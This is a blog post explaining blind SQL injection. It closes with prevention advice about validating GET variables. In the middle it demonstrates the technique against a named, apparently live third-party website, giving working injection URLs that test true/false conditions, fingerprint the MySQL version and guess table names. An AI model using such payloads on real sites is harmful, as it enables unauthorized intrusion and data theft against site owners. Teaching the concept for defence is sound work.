What is a BLIND SQL Injection?
Its been awhile, and I have been pretty busy. I decided to talk a little bit about a few things I have learned and been working on. When it comes to website security, most programmers understand what SQL injections are. The user types something into a form that manipulates the SQL statement to give them access to certain areas or display the info they want. Then there are Blind Sql Injections (BSI). These are much more complicated and considered an advanced penetration technique. The funny thing is, they are 100% preventable.
So lets start out with the basics, what is it? It all has to do with the URL bar and get variables. Let's say that my site is “http://www.mysite.com/” and I created a script that grabs info out of my database based on it's ID in the database. For example: “http://www.mysite.com/index.php?pageid=10″. My SQL statement will look like this: “SELECT * FROM pages WHERE ID=$_GET[id]“. Just like a regular SQL Injection, a hacker can submit malicious code using the get variable.
This is where we differ a little from a basic SQL Injection. In a basic SQL Injection, you simply type ' or 'x'='x into a form and it may or may not authenticate you. Your goal is to get it to toss an error, so that you know your code is not being parsed correctly.
Because we are retrieving info about a page with my example website script, not users, it makes it difficult to authenticate yourself with one line of code like a basic SQL Injection. There is one thing we can do, and that is to make the SELECT statement true or false. If my site is vulnerable, all we would need to type in the browser is: “http://www.mysite.com/index.php?pageid=10 and 1=1″. If it isn't parsed correctly, my vulnerable code will now look like this: SELECT * FROM pages WHERE ID=10 and 1=1. That is a true statement so our page will display normally. Now we try a false statement: “http://www.mysite.com/index.php?pageid=10 and 1=2″ and our SQL query reads as: SELECT * FROM pages WHERE ID=10 and 1=2. This statement is false, so it will not grab ANY info from pages. With no info being grabbed from the database, our page will look significantly different. Maybe some pictures won't be there, or text will be missing, or maybe the entire page will be blank. If that is the case, then you are in business.
So why is it called BLIND Sql Injection? Well rather than executing queries directly, like a regular SQL injection, and getting your info directly, you are now blind instead. You are using true/false statements to guess what the table names are, or manually hash them out using ascii codes and substrings. It can take hours to get access to a vulnerable site, but there are programs and scripts out there that will do all the work for you so you don't even have to think about it.
If you want to know a little bit more about how this works, lets try it out on a vulnerable example: http://www.cblpi.org
Lets say I went to Ann Coulter's bio page: http://www.cblpi.org/programs/bio.cfm?ID=15&type=Speaker
We notice that ID=15 and may be vulnerable. So we test it by typing: http://www.cblpi.org/programs/bio.cfm?ID=15 and 1=1&type=Speaker
Nothing changes! Let's test it again by typing 1=2: http://www.cblpi.org/programs/bio.cfm?ID=15 and 1=2&type=Speaker
Now a blank page appears, so we know that the ID variable isn't being parsed correctly.
Lets figure out what version of MySQL it is using BSI using @@version: http://www.cblpi.org/programs/bio.cfm?ID=15 and substring(@@version,1,1)=5&type=Speaker
If its version 5.xxxx it will show up as true! Does it? No. Then lets try 4: http://www.cblpi.org/programs/bio.cfm?ID=15 and substring(@@version,1,1)=4&type=Speaker
And know we know they are using version 4.xxxx of MySQL.
Lets try guessing a table name! http://www.cblpi.org/programs/bio.cfm?ID=15 and (select 1 from USERS limit 0,1)=1&type=Speaker
If table USERS exists, it will return 1 and the statement will be TRUE! Does it? No it doesn't, but it does give us a nice error page saying it doesn't exist, with the table name that we are currently selecting out of (PEOPLE).
So lets validate the code real quick. We know PEOPLE does exist, so http://www.cblpi.org/programs/bio.cfm?ID=15 and (select 1 from PEOPLE limit 0,1)=1&type=Speaker should be true.
And it is! The page displays normally.
You can bruteforce guess the table names, or there are many round about ways of detecting them letter by letter using substring and ascii functions. And once you figure out where the good information is stored, then you can break into those tables and grab it.
I'm not here to give you the exact methods on how to bruteforce it or use char codes, but just to give you the basics on what it is. Know that you know what it is, protect against it! How hard is it to check for a space? Add slashes? Check if it is an int? Guys common, these practices are standard when dealing with forms, why not make them standard when dealing with get variables. Recently (about 4-6 months ago) HyperVM was found to have a BSI vulnerability and within a couple of days, thousands and thousands of VPS servers were hacked and accounts deleted. It all could have been prevented with just one line of code.
http://www.webs.ge